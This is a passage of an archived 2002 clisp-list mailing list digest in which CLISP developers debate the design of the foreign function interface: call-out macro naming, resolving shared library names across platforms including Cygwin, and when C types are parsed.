X-Original-Date: 24 Apr 2002 09:12:13 -0400 > * In message > * On the subject of "[clisp-list] CVS and my set of patches" > * Sent on Wed, 24 Apr 2002 14:26:49 +0200 > * Honorable "Hoehle, Joerg-Cyril" writes: > > The typical "thanks, bug now fixed in CVS" reply says: > >(be advised that between > >releases the CVS tree is very unstable and may not even build > >on your platform). This is intended for the _users_. You are a _developer_. > This is exactly why I feel I must stay away from CVS. > I feel a need for a stable platform. this is not fair. this places too much burden on _me_. you are turning me into QA for your code, on platforms which I don't even have access to. > I just noticed I did too much copy&paste: > constsym.d should contain LISPSYM lines, not LISPFUN. > LISPSYM(exec_with_stack,"%FOREIGN-ON-STACK",ffi) this is ugly - C name too different from Lisp name. I changed that. unless you use the CVS, your future patches will not apply cleanly, thus causing much aggravation to both of us. > > BTW, could you please send me your spvw.d patch against the CVS? > No yet rewritten. please make it a priority: this is a bug fix, and as such it should come before new features. > > > > please do submit your FFI testsuite. > > are you sure you appended the whole patch? > The part 1 which goes into foreign.d. -- any problems there? I have no idea what you are talking about here. Sorry. I receive too much clisp mail to be able to track this down by hand. Your e-mail does not have references (this is Outlook fault, right?), so I cannot get the message you are replying to automatically, and its subject is not too informative. Please send the patch under discussion again. -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.2 GNU/Linux Winners never quit; quitters never win; idiots neither win nor quit. From rurban@x-ray.at Wed Apr 24 06:21:22 2002 Received: from goliath.inode.at ([195.58.161.55] helo=smtp.inode.at) by usw-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 170Mhy-0001H5-00 for ; Wed, 24 Apr 2002 06:21:19 -0700 Received: from [62.46.177.50] (helo=x-ray.at) by smtp.inode.at with asmtp (Exim 3.34 #1) id 170Mhs-0007Ex-00 for clisp-list@lists.sourceforge.net; Wed, 24 Apr 2002 15:21:12 +0200 Message-ID: <3CC6B159.BE25DFD2@x-ray.at> From: Reini Urban Organization: http://www.x-ray.at X-Mailer: Mozilla 4.7 [de] (WinNT; I) X-Accept-Language: de,en MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] DEF-LIB-CALL-OUT and dynamic FFI & library by name (was: critiqueof default-foreign-language) References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Apr 24 06:22:11 2002 X-Original-Date: Wed, 24 Apr 2002 13:21:29 +0000 "Hoehle, Joerg-Cyril" schrieb: > DEF-CALL-OUT could be made to macroexpand differently depending on whether some options are present or not, e.g. introduce a (:library foo) option. > My preference is to go for DEF-LIB-CALL-OUT or similar, because > 1) it's already there for the Amiga > 2) the macroexpansion for modules and for libraries is rather different. > 3) the exact format of foo in (:library foo) is obscure (see below point II). > > There's also no DEF-LIB-CALL-IN. > However, one could have a few FOREIGN-LIBRARY-VARIABLE (one or two of of them are useful on AmigaOS). > > AllegroCL has only a single ff:def-foreign-call. It doesn't even mention the > library! Looks nice. But I guess this is because they add all the library's > symbols to their lisp.run binary (like CMUCL did at the time I looked at it), > which is not portable (think about MS-Windows), or perhaps because they > internally sequentially walk through all open libraries, querying them for the > symbol, which I won't accept (it's not deterministic from a single library > provider's point of view: if I want "compress" from zlib, I shall get exactly > that one, and such a query interface is not available on AmigaOS). hmm. corman lisp reinit's all foreign variables and function pointers from all library names stored in the image on (load-image). there's no other way, and it's deterministic if no libs or libpaths are broken. (like current path overrides) corman even uses foreign win32 functions during startup. > II) referring to libraries, especially naming by a nickname. LispWorks calls > that modules. This may be useful because on all systems, the actual library name > (and path) will vary widely. So if you want to say > (DEF-LIB-CALL-OUT compress "zlib" #) ; library by name > you need something which will map "zlib" to "zlib.dll", "libz.so" or > "cygz.dll" ; Cygwin name for zlib dll > or even "/usr/lib/libz.so" or even #P"/usr/lib/libz.so" or some such. same problem for the UFFI. but I would suggest no nickname, only the common library substring. eg. "z" for libz.so, cygz.dll, zlib.dll. or "jpeg" for /usr/lib/libjpeg.so but one should be able to override the library name by explicitly giving the full name. ("libz" or "/usr/lib/libz.so") I think ACL does it this way. cygwin's dlopen() or the gcc linker for sure. > Another open problem: How to recogize cygwin? It appears as #+UNIX, > but wants "cygz.dll" instead of > "libz.so" which I suppose works across several > systems (maybe only the dlopen() ones, not shl_load()). So we must add a :CYGWIN feature then. > maybe the best suggestion would be one about how I could express my ideas shortly :-) Please not. I immensely prefer your long explanations. -- Reini Urban http://xarch.tu-graz.ac.at/home/rurban/ From samuel.steingold@verizon.net Wed Apr 24 06:23:14 2002 Received: from out004pub.verizon.net ([206.46.170.142] helo=out004.verizon.net) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 170Mjo-0001i1-00 for ; Wed, 24 Apr 2002 06:23:12 -0700 Received: from gnu.org ([151.203.30.83]) by out004.verizon.net (InterMail vM.5.01.04.05 201-253-122-122-105-20011231) with ESMTP id <20020424132318.RGVA1910.out004.verizon.net@gnu.org>; Wed, 24 Apr 2002 08:23:18 -0500 To: Christophe Rhodes Cc: CLISP Subject: Re: [clisp-list] What causes hard exits from clisp? References: <20020423081019.GA2920@cam.ac.uk> <20020423142328.GA5538@cam.ac.uk> <20020423155251.GA5957@cam.ac.uk> <20020423182507.GA6665@cam.ac.uk> <20020424081326.GA11985@cam.ac.uk> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <20020424081326.GA11985@cam.ac.uk> Message-ID: Lines: 38 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Apr 24 06:24:02 2002 X-Original-Date: 24 Apr 2002 09:23:16 -0400 > * In message <20020424081326.GA11985@cam.ac.uk> > * On the subject of "Re: [clisp-list] What causes hard exits from clisp?" > * Sent on Wed, 24 Apr 2002 09:13:26 +0100 > * Honorable Christophe Rhodes writes: > > > > > e.g., set a break in fehler_funname_source() - you probably get there > > > > just this once (or maybe not - in that case you have to count the > > > > fehler_funname_source hits and set a delayed break). > > > > > > Oh, I see. Ugggh. Um. The backtrace that I elided a couple of messages > > > upthread has upwards of 1000 frames. And there were quite a few > > > fehler_funname_source()s in there :-/ Looks like it's a long-term > > > project... > > > > there is something wrong here. > > fehler_funname_source cannot call fehler_funname_source. > > I've attached a slightly fuller backtrace from the CVS version of > CLISP, compiled with ./configure --with-debug, on the same > application. It crashes in the same place, from a user point of view, > though the small-numbered stack frames in this backtrace are slightly > different in the detail. > > fehler_funname_source appears at frames 45, 80, and 115 of the > attached (hmm, 35 frames..., yes, also 150 and 185) fine. please stop in an inner fehler_funname_source() and print all arguments in all the 35 (hmm - please make it 70 - I want to know the how the two adjacent periods differ) frames separating this fehler_funname_source() and the one above (print objects with zout). thanks. -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.2 GNU/Linux There are two ways to write error-free programs; only the third one works. From samuel.steingold@verizon.net Wed Apr 24 06:39:36 2002 Received: from out001pub.verizon.net ([206.46.170.140] helo=out001.verizon.net) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 170Mzf-0003oX-00 for ; Wed, 24 Apr 2002 06:39:35 -0700 Received: from gnu.org ([151.203.30.83]) by out001.verizon.net (InterMail vM.5.01.04.05 201-253-122-122-105-20011231) with ESMTP id <20020424133931.RFGQ5756.out001.verizon.net@gnu.org>; Wed, 24 Apr 2002 08:39:31 -0500 To: "Hoehle, Joerg-Cyril" Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] DEF-LIB-CALL-OUT and dynamic FFI & library by name (was: critique of default-foreign-language) References: Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: Message-ID: Lines: 73 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Apr 24 06:40:09 2002 X-Original-Date: 24 Apr 2002 09:39:39 -0400 > * In message > * On the subject of "[clisp-list] DEF-LIB-CALL-OUT and dynamic FFI & library by name (was: critique of default-foreign-language)" > * Sent on Wed, 24 Apr 2002 10:39:06 +0200 > * Honorable "Hoehle, Joerg-Cyril" writes: > > The thing to remember is that CLISP will have different sorts of > external functions: those coming from modules > (#), > and those coming from new shared libraries > (#). are these truly different objects? are you sure both are truly needed? I thought that the DLL FFI will make the current module facility DLL based too, i.e., while now modules create their own lisp.run by linking lisp.a with their *.o files, the new modules will compile to *.so (*.dll) and load them from the lisp code. > DEF-CALL-OUT could be made to macroexpand differently depending on > whether some options are present or not, e.g. introduce a (:library > foo) option. yes! > My preference is to go for DEF-LIB-CALL-OUT or similar, because > 1) it's already there for the Amiga > 2) the macroexpansion for modules and for libraries is rather different. > 3) the exact format of foo in (:library foo) is obscure (see below point II). I abhor the "many names" approach. Inter alia it makes it harder to write macros which expand to other macros. I prefer few calls taking many arguments to many calls taking few arguments. Note that CL has one DEFSTRUCT instead of DEFSTRUCT-WITH-BOA, DEFSTRUCT-WITH-PRINT-FUNCTION, DEFSTRUCT-WITH-METACLASS &c. Similarly, I want DEF-CALL-OUT with many options, some of which may be required, instead of DEF-C-CALL-OUT, DEF-LIB-CALL-OUT, DEF-LIB-C-CALL-OUT, DEF-LIB-STDCALL-CALL-OUT &c. > Sometimes, I feel I'm investing too much thought in rather low-level > issues few people actually care about. Worse is better may just mean: > the current scheme (referring to library by its base pointer) works, > so it is enough. fine. > Another open problem: How to recogize cygwin? I can add :CYGWIN to *FEATURES* if that is what people want. > (defvar *zlib-path* > (or #+WIN32 "zlib.dll" > ;; TODO how to deal with cygwin (#+UNIX on MS-Windows)? -- it wants "cygz.dll" > #+UNIX "libz.so" > #+AMIGA "zlib.library" > ) > "Set this variable to point to the location of the zlib library > (libz.so or zlib.dll) on your system.") > is what people are used to. Cygwin users will have to overide > this. HP-UX users probably also. is this the only place where #+CYGWIN is useful? then it's not worth it! > There's no need for me to imagine yet another half-working > (i.e. broken) "try to find name automatically" heuristic. yes. -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.2 GNU/Linux A man paints with his brains and not with his hands. From dan.stanger@ieee.org Wed Apr 24 07:24:59 2002 Received: from mail2.hypermall.com ([216.241.37.118]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 170Nhb-0002FJ-00 for ; Wed, 24 Apr 2002 07:24:59 -0700 Received: from [216.241.42.236] (helo=ieee.org) by mail2.hypermall.com with esmtp (Exim 3.16 #2) id 170NhX-00016I-00 for clisp-list@lists.sourceforge.net; Wed, 24 Apr 2002 08:24:55 -0600 Message-ID: <3CC6C09C.77A88294@ieee.org> From: Dan Stanger Reply-To: dan.stanger@ieee.org X-Mailer: Mozilla 4.79 [en] (WinNT; U) X-Accept-Language: en MIME-Version: 1.0 To: "clisp-list@lists.sourceforge.net" Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Subject: [clisp-list] Cygwin feature Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Apr 24 07:25:05 2002 X-Original-Date: Wed, 24 Apr 2002 08:26:36 -0600 I could think of a few places where having a cygwin feature would be helpful. Currently, my cygwin build has no indication as to what environment it is running in. There are certain pathname translation functions in the cygwin dll that are sometimes usefull. Dan Stanger From samuel.steingold@verizon.net Wed Apr 24 07:42:43 2002 Received: from out009pub.verizon.net ([206.46.170.131] helo=out009.verizon.net) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 170Nyj-00058s-00 for ; Wed, 24 Apr 2002 07:42:41 -0700 Received: from gnu.org ([151.203.30.83]) by out009.verizon.net (InterMail vM.5.01.04.05 201-253-122-122-105-20011231) with ESMTP id <20020424144231.SRON18349.out009.verizon.net@gnu.org>; Wed, 24 Apr 2002 09:42:31 -0500 To: dan.stanger@ieee.org Cc: "clisp-list@lists.sourceforge.net" Subject: Re: [clisp-list] Cygwin feature References: <3CC6C09C.77A88294@ieee.org> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <3CC6C09C.77A88294@ieee.org> Message-ID: Lines: 17 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Apr 24 07:43:16 2002 X-Original-Date: 24 Apr 2002 10:42:35 -0400 > * In message <3CC6C09C.77A88294@ieee.org> > * On the subject of "[clisp-list] Cygwin feature" > * Sent on Wed, 24 Apr 2002 08:26:36 -0600 > * Honorable Dan Stanger writes: > > I could think of a few places where having a cygwin feature would be > helpful. Currently, my cygwin build has no indication as to what > environment it is running in. There are certain pathname translation > functions in the cygwin dll that are sometimes usefull. Dan Stanger what does (software-version) say? -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.2 GNU/Linux Even Windows doesn't suck, when you use Common Lisp From peter.wood@worldonline.dk Wed Apr 24 07:51:25 2002 Received: from pasmtp.tele.dk ([193.162.159.95]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 170O79-0006SF-00 for ; Wed, 24 Apr 2002 07:51:23 -0700 Received: from localhost.localdomain (cpe.atm0-0-0-120180.0x3ef207e9.boanxx1.customer.tele.dk [62.242.7.233]) by pasmtp.tele.dk (Postfix) with ESMTP id A26B5B603 for ; Wed, 24 Apr 2002 16:51:18 +0200 (CEST) Received: (from prw@localhost) by localhost.localdomain (8.11.1/8.11.1) id g3OEaKm00431; Wed, 24 Apr 2002 16:36:20 +0200 From: Peter Wood To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] DEF-LIB-CALL-OUT and dynamic FFI & library by name (was: critique of default-foreign-language) Message-ID: <20020424163620.B342@localhost.localdomain> References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: ; from sds@gnu.org on Wed, Apr 24, 2002 at 09:39:39AM -0400 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Apr 24 07:52:04 2002 X-Original-Date: Wed, 24 Apr 2002 16:36:20 +0200 Hi, On Wed, Apr 24, 2002 at 09:39:39AM -0400, Sam Steingold wrote: > I thought that the DLL FFI will make the current module facility DLL > based too, i.e., while now modules create their own lisp.run by linking > lisp.a with their *.o files, the new modules will compile to *.so > (*.dll) and load them from the lisp code. > You don't need this at all with the new FFI. Why would you want to compile a monolithic (for example) linux.lisp when you can dynamically (and selectively) define the foreign functions which you will be needing. Why do you need a .so when you can define your functions in _lisp_? What on earth do you need to fiddle with a module .so when you have /libc/libc.so.6? There are currently two (IMO) quite different ways of making use of Clisp's module facilty: 1) compiling ffi definitions to a .c file (stage 1) which gets compiled (usually through clisp-link) to .o (stage 2) and linked to a new lisp.run (stage 3) 2) hand coded .d modules which can be integrated into the clisp build process by adding them to modules.h . dynload.d and ffimext.d are examples. With the new FFI, the need for (1) above falls away. It will still be useful to be able to do (2). And the ability to produce .c files (stage 1) in (1) above is still useful in helping to automate (2). You don't need to compile modules to .so files. These files already exist on the system, and you can dynamically create functions _in the running lisp_ which call into them. There will normally be no need for the user to compile to c files at all. Regards, Peter From Joerg-Cyril.Hoehle@t-systems.com Wed Apr 24 07:55:39 2002 Received: from mail1.telekom.de ([62.225.183.235]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 170OBG-0006xh-00 for ; Wed, 24 Apr 2002 07:55:38 -0700 Received: from g8pbr.blf01.telekom.de by G8SBV.dmz.telekom.de with ESMTP for clisp-list@lists.sourceforge.net; Wed, 24 Apr 2002 16:54:15 +0200 Received: by G8PBR.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id ; Wed, 24 Apr 2002 16:55:29 +0200 Message-Id: From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net Subject: [clisp-list] DEF-LIB-CALL-OUT and dynamic FFI & library by name MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Apr 24 07:56:04 2002 X-Original-Date: Wed, 24 Apr 2002 16:55:20 +0200 Sam Steingold wrote: > Similarly, I want DEF-CALL-OUT with many options, some of which may be > required, instead of DEF-C-CALL-OUT, DEF-LIB-CALL-OUT, > DEF-LIB-C-CALL-OUT, DEF-LIB-STDCALL-CALL-OUT &c. Can you live with (DEF-CALL-OUT FOO (:name "compress") (:library *zlib*) ; This and only this option gets evaluated... (:return-type ...)) I can come up with that (implementing *FOREIGN-LIBRARIES* list, somewhat different from the list the Amiga has) in the future. Then the library name can be a string (nickname), like with Amiga's DEF-LIB-CALL-OUT. With strings, nobody will care whether this is evaluated or not. It's more work. This is not ready yet. > I thought that the DLL FFI will make the current module facility DLL > based too, i.e., while now modules create their own lisp.run by linking > lisp.a with their *.o files, the new modules will compile to *.so > (*.dll) and load them from the lisp code. This might work on UNIX only. I believe that what you describe is already there for UNIX systems: SYS::DYNLOAD-MODULES is in pathname.d. It's not documented for whatever reason. On other systems, a .dll is its own binary, may have an own process space and whatever. It is not an incomplete object which needs to be linked against something to come to life. It's not an .so. Modules are a portable way to write extensions to CLISP in C. It works on any platform which can build CLISP. Building a .so or .dll is not portable. The C code becomes cluttered with lots of [WINAPI] __export _SYSCALL _CDECL I don't know about. It might not be available on any platform that CLISP supports. Current modules are as distinct from shared libraries as libtool modules from shared libraries. Like CLISP modules, they have a special structure and some special identifiers not found in any other arbitrary .so. There are other differences. Module's functions are reactivated when a Lisp session is resumed. FFI objects are dead. Modules can access Lisp objects. The FFI cannot. Modules present an API based on CLISP's "object model", shared libraries one based on the C model. Could you describe how regexp could be turned into a .so on UNIX? Maybe the UNIX link-kit script could provide the choice to create an .so instead of a .o? Probably somebody there has already done that? E.g. whoever wrote dynload-modules (Eric Marsden?) Is there a ready-made regexp.so found on e.g. Linux distributions? (Isn't regexp part of the Linux libc.a?) > is this the only place where #+CYGWIN is useful? > then it's not worth it! I have no opinion on that. I realized UFFI has an interesting FIND-FOREIGN-LIBRARY which might work in all cases: http://uffi.med-info.com/manual/r1520.htm I believe it will look for a mix of a given set of names (e.g. "zlib" "cygz" "libz") and a given set of types (e.g. "so" "dll") and take the first it finds. Today, I recommended something like this on the UFFI mailing list: (defvar uffi::*default-lib-types* '( #+(and CLISP WIN32) "dll" #+(and CLISP UNIX) "so" #+(and CLISP UNIX) "dll" ; for cygwin #+(and CLISP UNIX) xyz ; for HP-UX ... for whatever 30 systems CLISP runs on. #+(and CLISP AMIGA) "library" )) > I abhor the "many names" approach. I tend to dislike too much polymorphism as exhibited in UNIX' ioctl() or setsockopt(). Some people find it cool that open/close/read/write/ioctl is all you need on UNIX. I don't. It is appealing, though. Regards, Jorg Hohle. From peter.wood@worldonline.dk Wed Apr 24 08:02:35 2002 Received: from pasmtp.tele.dk ([193.162.159.95]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 170OHx-0007tF-00 for ; Wed, 24 Apr 2002 08:02:33 -0700 Received: from localhost.localdomain (cpe.atm0-0-0-120180.0x3ef207e9.boanxx1.customer.tele.dk [62.242.7.233]) by pasmtp.tele.dk (Postfix) with ESMTP id 80434B791 for ; Wed, 24 Apr 2002 17:02:22 +0200 (CEST) Received: (from prw@localhost) by localhost.localdomain (8.11.1/8.11.1) id g3OEm5h00457; Wed, 24 Apr 2002 16:48:05 +0200 From: Peter Wood To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] DEF-LIB-CALL-OUT and dynamic FFI & library by name (was: critiqueof default-foreign-language) Message-ID: <20020424164805.C342@localhost.localdomain> References: <3CC6B159.BE25DFD2@x-ray.at> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <3CC6B159.BE25DFD2@x-ray.at>; from rurban@x-ray.at on Wed, Apr 24, 2002 at 01:21:29PM +0000 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Apr 24 08:03:11 2002 X-Original-Date: Wed, 24 Apr 2002 16:48:05 +0200 Hi, On Wed, Apr 24, 2002 at 01:21:29PM +0000, Reini Urban wrote: > hmm. corman lisp reinit's all foreign variables and function > pointers from all library names stored in the image on > (load-image). there's no other way, and it's deterministic if no > libs or libpaths are broken. (like current path overrides) corman > even uses foreign win32 functions during startup. Corman Lisp only has to deal with win32. It gets hairier when you have to deal with a number of different platforms, some of which may be inconsistent in where they put libs. I think reinit should be up to the user. Its an issue which is far too system and machine-instance specific to reliably automate portably. zlib can be in *lots* of different places. In fact it can be anywhere. Regards, Peter From samuel.steingold@verizon.net Wed Apr 24 08:09:41 2002 Received: from out011pub.verizon.net ([206.46.170.135] helo=out011.verizon.net) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 170OOp-0000Nj-00 for ; Wed, 24 Apr 2002 08:09:39 -0700 Received: from gnu.org ([151.203.30.83]) by out011.verizon.net (InterMail vM.5.01.04.05 201-253-122-122-105-20011231) with ESMTP id <20020424143623.TGWG22619.out011.verizon.net@gnu.org>; Wed, 24 Apr 2002 09:36:23 -0500 To: "Hoehle, Joerg-Cyril" Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] critique of default-foreign-language References: Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: Message-ID: Lines: 99 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Apr 24 08:10:13 2002 X-Original-Date: 24 Apr 2002 10:36:17 -0400 > * In message > * On the subject of "[clisp-list] critique of default-foreign-language" > * Sent on Wed, 24 Apr 2002 12:32:29 +0200 > * Honorable "Hoehle, Joerg-Cyril" writes: > > My summary is: the current implementation of default-foreign-language > makes simple things look simple, but complex things unpredictably > broken. > > I'll try the "show by example" approach. Consider: > > (DEFAULT-FOREIGN-LANGUAGE :stdc) > (def-call-out foo ...) > (def-call-out bar ...) > > (def-c-var callback-pointer (:name "ffi_user_pointer") > (:type (c-function (:arguments (data c-pointer)) (:return-type int)))) > > (defun set-callback-1arg (fun) > ;; symbol-macro on foreign-variable > (setf callback-pointer fun)) > > (defun set-callback-2arg (fun) > (setf (cast callback-pointer > '(c-function (:arguments (data c-pointer) (more-data uint)) (:return-type int))) > fun) > > Observations: > a) the programmer gets used not to state :language in foreign function > type declarations. > > b) CLISP makes no guarantees of any sort as to what gets parsed (-> > set in stone) when. I distinguish compile-time, load-time and > run-time. > > Analysis: > i) callback-1arg works. PARSE-C-TYPE on the callback pointer has been called at load-time, in which the DEFAULT-FOREIGN-LANGUAGE was bound. > ii) callback-2arg can break. It produces different functions, depending on the user's settings or previously loaded or executed code! > > This is because PARSE-C-TYPE is called at run-time there, as opposed > to load-time (or compilation-time). actually, in this particular case, there is no reason not to call PARSE-C-TYPE at macroexpansion time e.g., (defmacro offset (place offset type &environment env) (setq place (macroexpand place env)) (if (foreign-place-p place 'FOREIGN-VALUE) `(FOREIGN-VALUE (%OFFSET ,(second place) ,offset ,(M-PARSE-C-TYPE type))) (err `(offset ,place ,offset ,type)))) (defmacro M-PARSE-C-TYPE (type) (if (constantp type) (PARSE-C-TYPE (eval type)) `(PARSE-C-TYPE ,type))) (or see below). > So my summary is: the current implementation of > default-foreign-language makes simple things look simple, but complex > things dangerous. That's not what I expect from Lisp. I see your point now. Nevertheless, I do not think that your remedy is any good. You will just shift the confusion in a different direction: the users will have to constantly think of using the right call (DEF-C-CALL-OUT or DEF-STDC-CALL-OUT or DEF-STDC-STDCALL-CALL-OUT &c) or adding the right :LANGUAGE arguments everywhere. Another thing is: suppose the library he is interfacing with was recompiled with a different calling convention. Then he would have to go over _all_ his code and replace all DEF-STDC-STDCALL-CALL-OUT with DEF-STDC-CALL-OUT or modify all his :LANGUAGE arguments. That's not what I expect from Lisp. The remedy I would prefer is 1. telling the users that DEFAULT-FOREIGN-LANGUAGE is for compilation units and should _never_ be used at top-level (except by gurus :-). 2. moving most type parsing to the macroexpansion time and thus fixing your problem with "breaking complex things": if we do (defmacro c-function (&whole form) `(parse-c-type ,form)) similar to (defmacro lambda (&whole form) `(function form)) we will have all constant types parsed at compile time. 3. when the type is non-constant, we should require :LANGUAGE argument anyway, whether by using separate forms or requiring it explicitly, and I prefer the latter. Actually, is it possible to extract the calling convention from the library (foo.so) itself? Then all this would be much easier. -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.2 GNU/Linux Lottery is a tax on statistics ignorants. MS is a tax on computer-idiots. From samuel.steingold@verizon.net Wed Apr 24 08:12:45 2002 Received: from out009pub.verizon.net ([206.46.170.131] helo=out009.verizon.net) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 170ORn-0000qp-00 for ; Wed, 24 Apr 2002 08:12:43 -0700 Received: from gnu.org ([151.203.30.83]) by out009.verizon.net (InterMail vM.5.01.04.05 201-253-122-122-105-20011231) with ESMTP id <20020424151233.TCHS18349.out009.verizon.net@gnu.org>; Wed, 24 Apr 2002 10:12:33 -0500 To: Peter Wood Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] DEF-LIB-CALL-OUT and dynamic FFI & library by name (was: critique of default-foreign-language) References: <20020424163620.B342@localhost.localdomain> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <20020424163620.B342@localhost.localdomain> Message-ID: Lines: 29 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Apr 24 08:13:28 2002 X-Original-Date: 24 Apr 2002 11:12:42 -0400 > * In message <20020424163620.B342@localhost.localdomain> > * On the subject of "Re: [clisp-list] DEF-LIB-CALL-OUT and dynamic FFI & library by name (was: critique of default-foreign-language)" > * Sent on Wed, 24 Apr 2002 16:36:20 +0200 > * Honorable Peter Wood writes: > > On Wed, Apr 24, 2002 at 09:39:39AM -0400, Sam Steingold wrote: > > > I thought that the DLL FFI will make the current module facility DLL > > based too, i.e., while now modules create their own lisp.run by linking > > lisp.a with their *.o files, the new modules will compile to *.so > > (*.dll) and load them from the lisp code. > > You don't need this at all with the new FFI. Why would you want to > compile a monolithic (for example) linux.lisp when you can dynamically > (and selectively) define the foreign functions which you will be > needing. Why do you need a .so when you can define your functions in > _lisp_? What on earth do you need to fiddle with a module .so when > you have /libc/libc.so.6? I was talking about the case when _you_ write something in C _yourself_ and want to call that from Lisp. when you are using a pre-built DLL, there is 